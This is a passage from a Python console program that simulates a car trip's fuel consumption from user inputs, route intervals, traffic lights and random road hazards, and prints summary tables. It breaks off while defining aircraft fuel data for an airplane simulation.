[]))\n\n\n\n\ngasStations.append(defineGasStation(\"g1\", \"Esso\",  1.859, 1.789, 1.679))\ngasStations.append(defineGasStation(\"g2\", \"Petrol Canada\", 2.005, 2.029, 1.749))\ngasStations.append(defineGasStation(\"g3\", \"Shell\", 2.005, 2.029, 1.749))\ngasStations.append(defineGasStation(\"g4\", \"Chevron\", 1.92, 1.859, 1.689))\n\n\n\n\n\n\n## ===================== INPUTS =====================\n\nfactors = [\"protest\", \"accident_on_road\", \"construction\", \"muddy_road\"]\n\n\ndef getPassengers(maximum):\n    while(True):\n        try:\n            passenger = input(\"? Enter the number of passengers (max. \" + str(maximum)+ \"): \")\n            if not passenger:\n                return 1\n            \n            passenger = int(passenger)\n            if (passenger < 0 or passenger > maximum):\n                raise Exception(f\"Invalid passengers number. You added {passenger} but the possible passengers are 1 or \" + str(maximum))\n            \n            return passenger\n        except Exception as err:\n            print(err)\n\ndef getExcessiveCarrage():\n    while(True):\n        try:\n            excessive_carrage = input(\"? Enter the weight of the luggage (press enter or 0 if none): \")\n            if not excessive_carrage:\n                return 0\n            \n            excessive_carrage = int(excessive_carrage)\n            if (excessive_carrage < 0):\n                raise Exception(f\"The weight cannot be negative.\")\n            \n            return excessive_carrage\n        except Exception as err:\n            print(err)\n\ndef getTowingWeight():\n    while(True):\n        try:\n            towingWeight = input(\"? Enter the weight (kg) of towing (press enter or 0 if none): \")\n            if not towingWeight:\n                return 0\n\n            towingWeight = int(towingWeight)\n            if (towingWeight < 0):\n                raise Exception(f\"The weight cannot be negative.\")\n\n            return towingWeight\n        except Exception as err:\n            print(err)\n\ndef getTime():\n    while(True):\n        try:\n            time = input(\"? Enter the departure time (format HH:MMPM/AM such as 12:00AM): \")\n            formTime = timeFormat(time)\n\n            return formTime\n        except Exception as err:\n            print(err)\n        \ndef getInputWithComparisonList(text, array, default):\n    while(True):\n        try:\n            inp = input(text)\n            if not inp:\n                return default\n\n            if inp not in array:\n                raise Exception(\"The value you added is not inside the possible values of \"+str(array))\n            \n            return inp\n        except Exception as err:\n            print(err)\n\ndef getExperience():\n    while(True):\n        try:\n            years = input(\"? Enter the experience years: \")\n            if not years:\n                return 0\n            \n            years = int(years)\n            if (years < 0):\n                raise Exception(f\"The experience cannot be negative.\")\n            \n            return years\n        except Exception as err:\n            print(err)\n\ndef getServiced():\n    while(True):\n        try:\n            service = input(\"? Is the car serviced (yes or no): \")\n            if not service or (service).lower() == \"no\":\n                return False\n            \n            if ((service).lower() == \"yes\"):\n                return True\n            else:\n                raise Exception(f\"Invalid. Only yes or no\")\n            \n        except Exception as err:\n            print(err)\n\n## ===================== HELPERS ====================\n\n\ndef timeFormat(time):\n    splitted = time.split(\":\")\n    if (len(splitted) > 2):\n        raise Exception(\"invalid.\")\n    hours = int(splitted[0])\n    if (hours > 12):\n        raise Exception(\"Invalid hours.\")\n    other = splitted[1:][0]\n    \n    minutes = int(other[:2])\n    if (minutes > 60):\n        raise Exception(\"Invalid minutes\")\n\n    day_time = other[2:]\n\n    if (day_time != \"PM\" and day_time != \"AM\" and day_time != \"am\" and day_time != \"pm\"):\n        raise Exception(\"invalid day.\")\n\n    if (day_time == \"PM\" or day_time == \"pm\"):\n        hours+=12\n    return [hours, minutes]\n    \ndef isBetweenInterval(array, value, totalDistance):\n    ## [[1,2], [10, 20]]\n    \n    for interval in (array):\n        if len(interval) < 2:\n            raise Exception(\"Invalid interval. The interval should be of format [a, b, ...n]\")\n        if (value >= interval[0]/100*totalDistance and value <= interval[1]/100*totalDistance):\n            return True\n    return False\n\ndef isBetweenIntervalRoadConditions(array, value, totalDistance):\n    ## [[1,2], [10, 20]]\n    if len(array) == 0:\n        return [False]\n    for interval in (array):\n        if len(interval) < 3:\n            raise Exception(\"Invalid interval. The interval should be of format [a, b, type]\")\n        if (value >= interval[0]/100*totalDistance and value <= interval[1]/100*totalDistance):\n            return [True, interval[2]]\n    return [False, interval[2]]\n\ndef generateRandomLight():\n    randomLight = random.randint(0, 3)\n\n    ## 60% probability of red light\n    ## 20% probability of yellow light\n    ## 20% probability of green light\n    if (randomLight <=1):\n        return \"red\"\n    elif randomLight ==2:\n        return \"yellow\"\n    else:\n        return \"green\"\n\ndef factorImpact(factor, average, delta):\n    consumption = 0\n    distanceIncrease = 0\n    if factor == \"protest\":\n        # car is stop, and is consuming 0.15 of the average consumption\n        consumption = average/100*0.65*delta\n    elif factor == \"construction\":\n        ## change road or not\n        randChange = random.randint(0, 1)\n        if (randChange == 1):\n            ## road changed, added more \n            distanceIncrease+=5\n        else:\n            consumption+=average/100*delta\n    elif factor == \"accident_on_road\":\n        ## more consumption as the car has to ride slowly\n        consumption+=average/100*1.2*delta\n    elif factor == \"muddy_road\":\n        consumption+=average/100*1.15*delta\n\n    printImpact(factor, consumption, distanceIncrease)\n\n    return {\n        \"consumption\": consumption,\n        \"distance\": distanceIncrease,\n        \"factor\": factor\n    }\n\ndef getCars():\n    return cars\n\ndef getCar(code):\n    for car in cars:\n        if car[\"code\"] == code:\n            return car\n\ndef findFactorIndex(arr, factor):\n    for i in range(len(arr)):\n        if arr[i][\"factor\"] == factor:\n            return i\n    return -1\n\ndef joinFactors(factorsImpact):\n    arr = []\n\n    for factor in factorsImpact:\n        index = findFactorIndex(arr, factor[\"factor\"])\n        if (index == -1):\n            arr.append({\"factor\": factor[\"factor\"], \"consumption\": factor[\"consumption\"], \"distance\": factor[\"distance\"]})\n        else:\n            arr[index][\"consumption\"]+=factor[\"consumption\"]\n            arr[index][\"distance\"]+=factor[\"distance\"]\n\n    return arr\n\ndef generateRandomFactor(factors):\n    rand = random.randint(0, len(factors)-1)\n    return factors[rand]\n\ndef calculateInitialMillage(car, average, total_weight, tyreCondition, weatherCondition, timeOfYear, mood, experience, serviced):\n    ## average affect by passengers\n    averages = 0\n    factors = 0\n    \n    averages += average * (car[\"weight\"] / total_weight)*1.1\n    factors+=1\n\n    # average affect by tyre condition\n    if (tyreCondition == \"bad\"):\n        averages += 0.9 * average ## affect 10%\n        factors+=1\n\n    # average affect by weather condition\n    averages += (85 + random.random()*7)/100 * average # affect between 8-15%\n    factors+=1\n\n\n    if (not serviced):\n        # a car that has not been serviced is affected by 4%\n        averages += 0.04 * average\n        factors+=1\n    \n    if (mood == \"bad\"):\n        # a bad mood driver does effect the average by 7%\n        averages += 0.07 * average\n        factors+=1\n    \n    if (experience > 10):\n        # an experienced driver increases the average by 25%!\n        averages += 1.25 * average\n        factors+=1\n\n    else:\n        # a noval driver increases the fuel consumptionby 11%\n        averages += 0.89 * average\n        factors+=1\n\n    if (timeOfYear == \"winter\" or timeOfYear == \"fall\"):\n        averages += 0.95 * average\n        factors+=1\n    else:\n        print(\"No air conditioning\")\n\n    if (weatherCondition == \"snow\" or weatherCondition == \"rainy\"):\n        averages += 0.9 * average\n        factors+=1\n    \n    if (weatherCondition == \"fog\"):\n        averages += 0.94 * average\n        factors+=1\n\n    return ((averages)/factors)\n\n    # average affect by time of the year\n    \n\ndef findGasStations(total, premium = False):\n    gasSt = []\n    mini = 0\n    best = gasStations[0]\n    if premium:\n        mini = gasStations[0][\"premium_cost\"]\n    else:\n        mini = gasStations[0][\"petrol_cost\"]\n    for i in range((total)):\n        gas = gasStations[i]\n        price = 0\n        if premium:\n            price = gas[\"premium_cost\"]\n        else:\n            price = gas[\"petrol_cost\"]\n        \n        if price < mini:\n            best = gas\n            mini = price\n        gasSt.append(gas)\n    return [gasSt, best]\n\ndef printGasStations(stations, bestName):\n    print(\"=\"*28 + \" GAS STATIONS \" + \"=\"*28)\n    print(\"| %-2s | %-20s | %-12s | %-10s | %-10s |\" % (\"ID\", \"Station\", \"Premium (L)\", \"Diesel (L)\", \"Petrol (L)\"))\n    print(\"| %-2s | %-20s | %-12s | %-10s | %-10s |\" % (\"\", \"\", \"\", \"\", \"\"))\n    for i in range(len(stations)):\n        gas = stations[i]\n        if bestName == gas[\"name\"]:\n            print(\"| %-2d | %-20s | %-12f | %-10f | %-10f |\" % (i+1, gas[\"name\"] + \" (best)\", gas[\"premium_cost\"], gas[\"diesel_cost\"], gas[\"petrol_cost\"]))\n        else:\n            print(\"| %-2d | %-20s | %-12f | %-10f | %-10f |\" % (i+1, gas[\"name\"], gas[\"premium_cost\"], gas[\"diesel_cost\"], gas[\"petrol_cost\"]))\n    print(\"=\"*70)\n\ndef getCities():\n    validSet = []\n    for route in carRoutes:\n        dep = route[\"departureCity\"]\n        arr = route[\"arrivalCity\"]\n\n        if dep not in validSet:\n            validSet.append(dep)\n        if arr not in validSet:\n            validSet.append(arr)\n\n    return validSet\n\ndef getRoutesFromCity(city):\n    routes = []\n    for route in carRoutes:\n        dep = route[\"departureCity\"]\n        arr = route[\"arrivalCity\"]\n\n        if dep == city or arr == city:\n            routes.append(route)\n    return routes\n\n\n\n## ===================== PRINTS =====================\n\n\ndef printImpact(factor, fuel, distance):\n    print()\n    print(\"==========\"*2+ f\"=== HAZARD! ==\" +\"==========\"*2)\n    print(\"|  %-50s|\" % (\"Type: \" + factor))\n    if fuel > 0:\n        print(\"|  %-50s|\" % (\"Hazzard fuel impact: \" + str(round(fuel, 2)) + \" Litre\"))\n\n    if distance > 0 :\n        print(\"|  %-50s|\" % (\"Hazzard distance impact: \" + str(round(distance, 2)) + \" km\"))\n\n    print(\"==========\"*2+ \"==============\" + \"==========\"*2)\n    print()\n\ndef printTrafficLight(color, fuel):\n    print()\n    print(\"===========\"*2+ f\"{color}\" +\"==========\"*2)\n    if fuel > 0:\n        print(\"|  %-50s|\" % (\"Fuel impact: \" + str(round(fuel, 2)) + \" Litre\"))\n        print(\"==========\"*2+ \"==============\" + \"==========\"*2)\n    print()\n\n\n## =================== CAR MAIN =====================\n\ndef carPrompts():\n    cities = getCities()\n    cars = getCars()\n\n    print(\"Here are the recorded cities: \")\n    for i in range(len(cities)):\n        city = cities[i]\n        print(f\"\\t [{i+1}]: {city}\")\n\n    print()\n    departureCityInt = int(input(f\"? Enter the departure city number (1 to {len(cities)}): \"))\n    departureCity = cities[departureCityInt-1]\n    print(\"You selected:\", departureCity)\n    print()\n\n    print(\"Here is the list of destinations:\")\n    routes = getRoutesFromCity(departureCity)\n    print()\n    print(\"==%-2s===%-22s= DESTINATIONS ==%-14s===%-12s\" % (\"=\"*2, \"=\"*22, \"=\"*14, \"=\"*12))\n    print(\"| %-2s | %-40s | %-10s | %-10s |\" % (\"ID\", \"Destination\", \"Distance\", \"Time\"))\n    for i in range(len(routes)):\n        route = routes[i]\n        arr = 0\n        if route[\"arrivalCity\"] == departureCity:\n            arr = route[\"departureCity\"]\n        else:\n            arr = route[\"arrivalCity\"]\n        \n        print(\"| %-2d | %-40s | %-10s | %-10s |\" % (i+1, arr, str(route[\"distance\"]) + \" km\", str(route[\"time\"]) + \" hr\"))\n\n    print(\"==%-2s===%-22s===============%-14s===%-10s\" % (\"=\"*2, \"=\"*26, \"=\"*14, \"=\"*10))\n    print()\n    routeInt = int(input(f\"? Enter the route ID (1 to {len(routes)}): \"))\n    route = routes[routeInt-1]\n    \n\n    destinationCity = \"\"\n    if route[\"arrivalCity\"] == departureCity:\n        destinationCity = route[\"departureCity\"]\n    else:\n        destinationCity = route[\"arrivalCity\"]\n    \n    print(\"You selected route: \", f\"{departureCity} to {destinationCity}\")\n    print()\n    print(\"It is time to select the vehicle. Here is a list of available vehicles:\")\n\n    print(\"==%-2s===%-22s= CARS ==%-37s===%-7s\" % (\"=\"*2, \"=\"*22, \"=\"*37, \"=\"*7))\n    print(\"| %-2s | %-40s | %-25s | %-5s |\" % (\"ID\", \"Model\", \"Average fuel (L / 100km)\", \"Seat\"))\n    for i in range(len(cars)):\n        car = cars[i]\n        print(\"| %-2d | %-40s | %-25s | %-5s |\" % (i+1, car[\"manufacturer\"] + \" \" + car[\"model\"], str(car[\"average_comb_city_highway\"]), str(car[\"seat\"])))\n\n    print(\"==%-2s===%-22s=========%-37s===%-7s\" % (\"=\"*2, \"=\"*22, \"=\"*37, \"=\"*7))\n    print()\n\n\n    carInt = int(input(f\"? Select your car (1 to {len(cars)}): \"))\n    car = cars[carInt-1]\n\n    print(\"=\"*47 + \" YOUR CAR \" + \"=\"*47)\n    print(\"| %-17s | %-80s |\" % (\"Manufacturer\", car[\"manufacturer\"]))\n    print(\"| %-17s | %-80s |\" % (\"Model\", car[\"model\"]))\n    print(\"| %-17s | %-80s |\" % (\"Engine\", car[\"engine\"]))\n    print(\"| %-17s | %-80s |\" % (\"Power\", str(car[\"engine\"])+ \" hp\"))\n    print(\"| %-17s | %-80s |\" % (\"Seat\", car[\"seat\"]))\n    print(\"| %-17s | %-80s |\" % (\"City millage\", str(round(car[\"city_millage\"], 2)) + \" L / 100km\"))\n    print(\"| %-17s | %-80s |\" % (\"Highway millage\", str(round(car[\"highway_millage\"], 2)) + \" L / 100km\"))\n    print(\"| %-17s | %-80s |\" % (\"Average millage\", str(round(car[\"average_comb_city_highway\"], 2)) + \" L / 100km\"))\n    print(\"| %-17s | %-80s |\" % (\"Fuel capacity\", str(round(car[\"fuel_capacity\"], 2)) + \" L\"))\n    print(\"| %-17s | %-80s |\" % (\"Weight\", str(car[\"weight\"]) + \" kg\"))\n    print(\"=\"*20 + \"==========\" + \"=\"*74)\n    print()\n\n    \n    begin = input(\"Type 'start' to begin with the simulation: \")\n    if begin.lower() == 'start':\n        print()\n\n        print(\"=== BEGINNING WITH THE SIMULATION ===\")\n        print()\n        return carSimulation(car, destinationCity, route[\"distance\"], route[\"time\"], route[\"trafficPoints\"], route[\"trafficLightPoints\"], route[\"highwayPoints\"], route[\"cityPoints\"], route[\"roadConditionPoints\"])\n    \n    ## print a summary of the route\n\n\ndef carSimulation(car, destination, distance, duration, trafficIntervals, trafficLightIntervals, highwayIntervals, cityIntervals, roadConditionsIntervals):\n\n\n    passengers = getPassengers(car[\"seat\"])\n    print(\"Passengers on car: \" + str(passengers))\n    print()\n\n    excessive_carrage = getExcessiveCarrage()\n    print(\"Excessive carriage on car: \" + str(excessive_carrage))\n    print()\n\n    towingWeight = getTowingWeight()\n    print(\"Towing carriage on car: \" + str(towingWeight))\n    print()\n\n    ## if peak hours, apply all trafficPoints. If not, only some random (max 30%)\n    departureTime = getTime()\n    print(\"Departure time is \" + str(departureTime))\n    print()\n\n    tyreConditions = [\"good\", \"bad\"]\n    tyreCondition = getInputWithComparisonList(\"Enter the tyre condition \" + str(tyreConditions) + \": \", tyreConditions, \"good\") ## or good or mildy\n    print(\"Tyre condition: \", tyreCondition)\n    print()\n\n    typeOfYears = [\"winter\", \"summer\", \"fall\", \"autumn\"]\n    timeOfYear = getInputWithComparisonList(\"Enter the season \" + str(typeOfYears) + \": \", typeOfYears, \"fall\") ## or summer or fall \n    print(\"Season: \", timeOfYear)\n    print()\n\n    weatherConditions = [\"snow\", \"rain\", \"fog\", \"sun\"]\n    weatherCondition = getInputWithComparisonList(\"Enter the weather condition \" + str(weatherConditions) + \": \", weatherConditions, \"sun\") ## or raining, sun, fog\n    print(\"Weather condition: \", weatherCondition)\n    print()\n\n    moods = [\"angry\", \"relaxed\", \"cheerful\"]\n    mood = getInputWithComparisonList(\"Enter the driver's mood \" + str(moods) + \": \", moods, \"relaxed\") ## or angry \n    print(\"Mood: \", mood)\n    print()\n\n\n    experience = getExperience()\n    print(\"Experience: \" + str(experience))\n    print()\n\n\n    serviced = getServiced()\n    print(\"Serviced: \", serviced)\n    print()\n\n    total_weight = car[\"weight\"] + passengers * 75 + excessive_carrage + towingWeight\n\n    # calculate the millage from the initial conditions\n    averageCityMillage = calculateInitialMillage(car, car[\"city_millage\"], total_weight, tyreCondition, weatherCondition, timeOfYear, mood, experience, serviced)\n    averageHighwayMillage = calculateInitialMillage(car, car[\"highway_millage\"], total_weight, tyreCondition, weatherCondition, timeOfYear, mood, experience, serviced)\n    averageCombinationMillage = calculateInitialMillage(car, car[\"average_comb_city_highway\"], total_weight, tyreCondition, weatherCondition, timeOfYear, mood, experience, serviced)\n    #averageMillagePer100 = calculateInitialMillage(car, car[\"average_millage_per_100l\"], total_weight, tyreCondition, weatherCondition, timeOfYear, mood, experience, serviced)\n    print()\n    print()\n    print(\"=========\"*2 + \"INITIAL CALCULATIONS\" + \"==========\"*2)\n    print(\"|  %-30s | %-22s |\" % (\"Average city millage: \", str(round(averageCityMillage, 2)) + \" Litre / 100 km\"))\n    print(\"|  %-30s | %-22s |\" % (\"Average highway millage: \", str(round(averageHighwayMillage, 2)) + \" Litre / 100 km\"))\n    print(\"|  %-30s | %-22s |\" % (\"Average combined millage: \", str(round(averageCombinationMillage, 2)) + \" Litre / 100 km\"))\n    print(\"=========\"*2 + \"===================\" + \"==========\"*2)\n    print()\n    print()\n\n    distance_travelled = 0\n    consumed = 0\n    delta = 5\n\n    totalRedLights = 0\n    totalConsumptionForRedLights = 0\n\n    totalYellowLights = 0\n    totalConsumptionForYellowLights = 0\n\n    totalGreenLights = 0\n\n    totalConsumptionForRoadCondition = 0\n\n    totalConsumptionInCity = 0\n    totalConsumptionInHighway = 0\n    totalConsumptionInGeneralRoad = 0\n\n    totalDistanceInCity = 0\n    totalDistanceInHighway = 0\n    totalDistanceInGeneralRoad = 0\n    \n    factorsImpact = []\n\n    while(distance_travelled < distance):\n        distance_travelled+=delta\n        print(\"_\"*40)\n        print(\"Distance travelled: \", distance_travelled, \"km\")\n        print(\"Total consumed: \", round(consumed, 2), \"Litre\")\n        print()\n        print()\n\n        ## TODO: if total condumed so far > fuel capactiy, get 2 random petrol pumps and add them into an arrya. at the end we will show the prices.\n\n        isTraffic = isBetweenInterval(trafficIntervals, distance_travelled, distance)\n        isTrafficLight = isBetweenInterval(trafficLightIntervals, distance_travelled, distance)\n        isHighway = isBetweenInterval(highwayIntervals, distance_travelled, distance)\n        isCity = isBetweenInterval(cityIntervals, distance_travelled, distance)\n        isRoadCondition = isBetweenIntervalRoadConditions(roadConditionsIntervals, distance_travelled, distance)\n\n        if (isCity or isTraffic or isTrafficLight):\n            # be more precise in the cities\n            if delta != 1:\n                print(\"========== ENTERING CITY: MAKEING THE SIMULATION MORE PRECISE BY DECREASING THE DELTA ==========\")\n            delta = 1\n        else:\n            if delta != 5:\n                print(\"========== EXITING CITY: MAKEING THE SIMULATION MORE WIDE BY INCREASING THE DELTA ==========\")\n            delta = 5\n\n\n\n        if (isRoadCondition[0]):\n            condition = isRoadCondition[1]\n            road_condition_consumption = 0\n            if (condition == \"fog\"):\n                road_condition_consumption+=0.1\n                print(condition, \" consumption: \", road_condition_consumption)\n\n            elif (condition == \"mud\"):\n                road_condition_consumption+=0.2\n                print(condition, \"consumption: \", road_condition_consumption)\n\n            elif (condition == \"wet\"):\n                road_condition_consumption+=0.08\n                print(condition, \"consumption: \", road_condition_consumption)\n\n            elif condition == \"bumpy\":\n                road_condition_consumption+=0.16\n                print(condition, \"consumption: \", road_condition_consumption)\n\n            elif condition == \"construction\":\n                road_condition_consumption+=0.24\n                print(condition, \"consumption: \", road_condition_consumption)\n\n            else:\n                pass\n\n            totalConsumptionForRoadCondition+=road_condition_consumption\n            consumed+=road_condition_consumption\n        ## we are in the traffic\n        ## TODO: traffic between 7:9\n        if isTraffic:\n            local_consumption = 0\n            ## +1 km for millage\n            dlt = (delta + 1)\n            if (isHighway):\n                print(\"========== TRAFFIC ON HIGHWAY ==========\")\n                local_consumption = averageHighwayMillage/100*dlt\n                totalConsumptionInHighway+=local_consumption\n                totalDistanceInHighway+=dlt\n            elif isCity:\n                print(\"========== TRAFFIC IN CITY ==========\")\n                local_consumption = averageCityMillage/100*dlt\n                totalConsumptionInCity+=local_consumption\n                totalDistanceInCity+=dlt\n            else:\n                print(\"========== TRAFFIC INTERVAL ==========\")\n                local_consumption = averageCombinationMillage/100*dlt\n                totalConsumptionInGeneralRoad+=local_consumption\n                totalDistanceInGeneralRoad+=dlt\n            \n            consumed+=local_consumption ## add the traffic millage consumption: +2 km more\n        \n        ## Traffic light\n        if isTrafficLight:\n            print(\"=========\"*2+ \"= TRAFFIC LIGHT AREA\" + \"========\"*2)\n\n            light = generateRandomLight()\n\n\n            # TODO: simulate traffic light\n            local_consumption = 0\n            # average stop at traffic light: 0.1L/minute\n            if (isCity):\n                totalDistanceInCity+=delta\n                if (light == \"red\"):\n                    local_consumption = averageCityMillage/100*(delta) + 0.19 # consume 0.1L for each red light as waiting time is 1 minute\n                    totalConsumptionForRedLights+=local_consumption\n                    totalRedLights+=1\n                    printTrafficLight(\"= Red light \", local_consumption)\n                elif (light == \"yellow\"):\n                    local_consumption = averageCityMillage/100*(delta) + 0.07 # consume 0.1L for each red light as waiting time is 1 minute\n                    totalConsumptionForYellowLights+=local_consumption\n                    totalYellowLights+=1\n                    printTrafficLight(\"Yellow light \", local_consumption)\n                else:\n                    printTrafficLight(\"Green light =\", 0)\n                    totalGreenLights+=1\n                \n            else:\n                if (light == \"red\"):\n                    local_consumption = averageCombinationMillage/100*(delta) + 0.1\n                    totalConsumptionForRedLights+=local_consumption\n                    totalRedLights+=1\n                    printTrafficLight(\"= Red light \", local_consumption)\n                elif light == \"yellow\":\n                    local_consumption = averageCombinationMillage/100*(delta) + 0.05\n                    totalConsumptionForYellowLights+=local_consumption\n                    totalYellowLights+=1\n                    printTrafficLight(\"Yellow light \", local_consumption)\n                else:\n                    totalGreenLights+=1\n                    printTrafficLight(\"Green light =\", 0)\n\n            consumed+=local_consumption\n            totalConsumptionInCity+=local_consumption\n            totalDistanceInCity+=delta\n        \n        if isHighway and not isTraffic and not isTrafficLight:\n            print(\"========== ON HIGHWAY ==========\")\n            totalDistanceInHighway+=delta\n            randPerc = random.randint(0, 9)\n\n            # 30% chances of a factor affecting\n            if (randPerc < 3):\n                ## TODO: make tis random!\n                eventImpact = factorImpact(generateRandomFactor(factors), averageHighwayMillage, delta)\n                factorsImpact.append(eventImpact)\n                \n                consumed+=eventImpact[\"consumption\"]\n                distance+=eventImpact[\"distance\"]\n\n                totalConsumptionInHighway+=eventImpact[\"consumption\"]\n            else:\n                consumed+=averageHighwayMillage/100*delta\n                totalConsumptionInHighway+=averageHighwayMillage/100*delta\n            ## TODO: ADD RANOM FACTORS: ACCTIDENT, CHANGE OF ROUTE\n            \n\n        \n        if isCity and not isTraffic and not isTrafficLight:\n            print(\"On road to city\")\n            totalDistanceInCity+=delta\n            randPerc = random.randint(0, 9)\n\n            # 30% chances of a factor affecting\n            if (randPerc < 3):\n                eventImpact = factorImpact(generateRandomFactor(factors), averageCityMillage, delta)\n                factorsImpact.append(eventImpact)\n                consumed+=eventImpact[\"consumption\"]\n                distance+=eventImpact[\"distance\"]\n\n                totalConsumptionInCity+=eventImpact[\"consumption\"]\n            else:\n                consumed+=averageCityMillage/100*delta\n                totalConsumptionInCity+=averageCityMillage/100*delta\n\n        if (not isTraffic and not isTrafficLight and not isCity and not isHighway):\n            ## TODO: ADD RANOM FACTORS: ACCTIDENT, CHANGE OF ROUTE\n            totalDistanceInGeneralRoad+=delta\n            randPerc = random.randint(0, 9)\n\n            # 30% chances of a factor affecting\n            if (randPerc < 3):\n                eventImpact = factorImpact(generateRandomFactor(factors), averageCombinationMillage, delta)\n                factorsImpact.append(eventImpact)\n                \n                consumed+=eventImpact[\"consumption\"]\n                distance+=eventImpact[\"distance\"]\n\n                totalConsumptionInGeneralRoad+=eventImpact[\"consumption\"]\n            else:\n                consumed+=averageCombinationMillage/100*delta\n                totalConsumptionInGeneralRoad+=averageCombinationMillage/100*delta\n\n\n    spacing = \"| %-42s | %10s %-17s |\"\n    print()\n    print()\n    print()\n    print(\"=\"*32 + \" SUMMARY TABLE \" + \"=\"*30)\n    print(\"=\"*38 + \"=============\" + \"=\"*26)\n    print(spacing % (\"\", \"\", \"\"))\n    print(spacing % (\"Passengers\", passengers, \"\"))\n    print(spacing % (\"Destination\", destination, \"\"))\n    print(spacing % (\"Weather\", weatherCondition, \"\"))\n    print(spacing % (\"\", \"\", \"\"))\n    print(spacing % (\"Red lights\", totalRedLights, \"\"))\n    print(spacing % (\"Red lights consumption\", round(totalConsumptionForRedLights, 2), \"Litre\"))\n\n    print(spacing % (\"Yellow lights\", totalYellowLights, \"\"))\n    print(spacing % (\"Yellow lights consumption\", round(totalConsumptionForYellowLights, 2), \"Litre\"))\n    print(spacing % (\"Green lights\", totalGreenLights, \"\"))\n\n\n    print(spacing % (\"\", \"\", \"\"))\n    print(spacing % (\"Consumption for road conditions\", round(totalConsumptionForRoadCondition, 2), \"Litre\"))\n    print(spacing % (\"\", \"\", \"\"))\n\n    print(spacing % (\"Consumption in city\", round(totalConsumptionInCity, 2), \"Litre\"))\n    print(spacing % (\"Consumption in highway\", round(totalConsumptionInHighway, 2), \"Litre\"))\n    print(spacing % (\"Comsumption on general road\", round(totalConsumptionInGeneralRoad, 2), \"Litre\"))\n    print(spacing % (\"\", \"\", \"\"))\n\n    print(spacing % (\"Travel distance in city\", totalDistanceInCity, \"km\"))\n    print(spacing % (\"Travel distance on highway\", totalDistanceInHighway, \"km\"))\n    print(spacing % (\"Travel distance in general road\", totalDistanceInGeneralRoad, \"km\"))\n    print(spacing % (\"\", \"\", \"\"))\n\n\n    if (totalDistanceInCity > 0):\n        print(spacing % (\"Final average consumption on city\",  round(totalConsumptionInCity /totalDistanceInCity * 100, 2), \"Litre / 100 km\"))\n    if (totalDistanceInHighway > 0):\n        print(spacing % (\"Final average consumption on highway\", round(totalConsumptionInHighway /totalDistanceInHighway * 100, 2), \"Litre / 100 km\"))\n    if totalDistanceInGeneralRoad > 0:\n        print(spacing % (\"Final average consumption on general road\", round(totalConsumptionInGeneralRoad /totalDistanceInGeneralRoad * 100, 2), \"Litre / 100 km\"))\n\n    print(spacing % (\"\", \"\", \"\"))\n    print(spacing % (\"Total overall consumption\", round(consumed, 2), \"Litre\"))\n    print(spacing % (\"Overall average after consumption\", round(consumed / distance * 100, 2), \"Litre / 100 km\"))\n    print(spacing % (\"Overall distance travelled\",distance, \"km\"))\n    print(\"=\"*38 + \"=============\" + \"=\"*26)\n\n    print()\n\n\n    factors_compressed = joinFactors(factorsImpact)\n    print(\"Consumption because of random factors\")\n    print(\"=\"*30 + \" FACTORS CONSUMPTION \" + \"=\"*31)\n    print(\"=\"*36 + \"=====================\" + \"=\"*25)\n    \n\n    spacing = \"| %-42s | %-15s | %-15s |\"\n    print(spacing % (\"Factor\", \"Consumption\", \"Distance\"))\n    for factor in factors_compressed:\n        print(spacing % (factor[\"factor\"], str(round(factor[\"consumption\"], 2)) + \" Litre\", str(round(factor[\"distance\"], 2)) + \" km\"))\n    print(\"=\"*82)\n\n\n\n    return {\n        \"red_lights\": totalRedLights,\n        \"red_light_consumption\": totalConsumptionForRedLights,\n        \"yellow_lights\": totalYellowLights,\n        \"yellow_lights_consumption\": totalConsumptionForYellowLights,\n        \"road_conditions_consumption\": totalConsumptionForRoadCondition,\n        \"city_consumption\": totalConsumptionInCity,\n        \"highway_consumption\": totalConsumptionInHighway,\n        \"general_road_consumption\": totalConsumptionInGeneralRoad,\n        \"city_distance\": totalDistanceInCity,\n        \"highway_distance\": totalDistanceInHighway,\n        \"general_road_distance\": totalDistanceInGeneralRoad,\n        \"total_consumption\": consumed,\n        \"final_distance\": distance,\n        \"factors\": factorsImpact,\n        \"factors_compressed\": joinFactors(factorsImpact),\n        \"car\": car\n    }\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n## PLANE\n\n##  ============================= GATHERING DATA =============================\n\na350 = {\n    \"code\": \"a350\",\n    \"name\": \"Airbus A350\",\n\n    \"average_consumption\": 11.2, # L/hour/passenger,\n    \"ground_consumption\": 0.27,\n    \"take_off_consumption\": 12.6,\n    \"max_passengers\": 325,\n\n    \"max_other_weight\": 0.3,\n    \"max_travel_distance\": 16_600,\n    \"max_luggage\": 2,\n    \"max_luggage_weight\": 23, # kg\n    \"max_luggage_and_passenger_weight\": 50100, # kg\n    \"max_fuel_capacity\": 164_000, # L\n    \"max_total_weight\": 283_900, # kg\n    \"headwind_consumption\": 0.245, # perc\n    \"tailwind_consumption\": -0.1, # perc , negative is efficient\n    \"max_other_weight_perc\": 100,\n    \"taxing_fuel_usage\": 260/0.8, # # If 1 kilogram of water is 1 litre, 0.8 kilograms of jet fuel is 1 litre.\n    \"snow_weight\": 100,\n    \"max_speed\": 950,\n    \"empty_flight_fuel\": 2485\n}\n\na380 = {\n    \"code\": \"a380\",\n    \"name\": \"Airbus A380\",\n\n    \"average_consumption\": 16.21, # L/hour/passenger, the calculation is based on the fact that a plane consumes around 11000L per hour. And given that an average weight of a passenger and cargo together can be counted for 150  each, we found the calculation\n    \"ground_consumption\": 0.4,\n    \"take_off_consumption\": 18.2,\n    \"max_passengers\": 615,\n\n    \"max_other_weight\": 0.4,\n    \"max_travel_distance\": 15_288,\n    \"max_luggage\": 2,\n    \"max_luggage_weight\": 30, # kg\n    \"max_luggage_and_passenger_weight\": 98_376, # kg\n    \"max_fuel_capacity\": 320_000, # L\n    'max_total_weight': 757_000, # kg\n    \"headwind_consumption\": 0.3, # perc\n    \"tailwind_consumption\": -0.1, # perc , negative is efficient\n    \"snow_weight\": 200,\n    \"taxing_fuel_usage\": 450/0.8, # kg\n    \"max_other_weight_perc\": 0.19*0.79, # pass + lugg + cargo in perc\n    \"max_speed\": 1185,\n    \"empty_flight_fuel\": 3246\n}   \n\nb777 = {\n    \"code\": \"b777\",\n    \"name\": \"Boeing 777-300ER\",\n\n    \"average_consumption\": 12.7, # L/hour/passenger,\n    \"ground_consumption\": 0.3,\n    \"take_off_consumption\": 13.2,\n    \"max_passengers\": 400,\n\n    \"max_other_weight\": 0.27, # pass + lugg + cargo in perc\n    \"max_travel_distance\": 16_600,\n    \"max_luggage\": 2,\n    \"max_luggage_weight\": 30, # kg\n    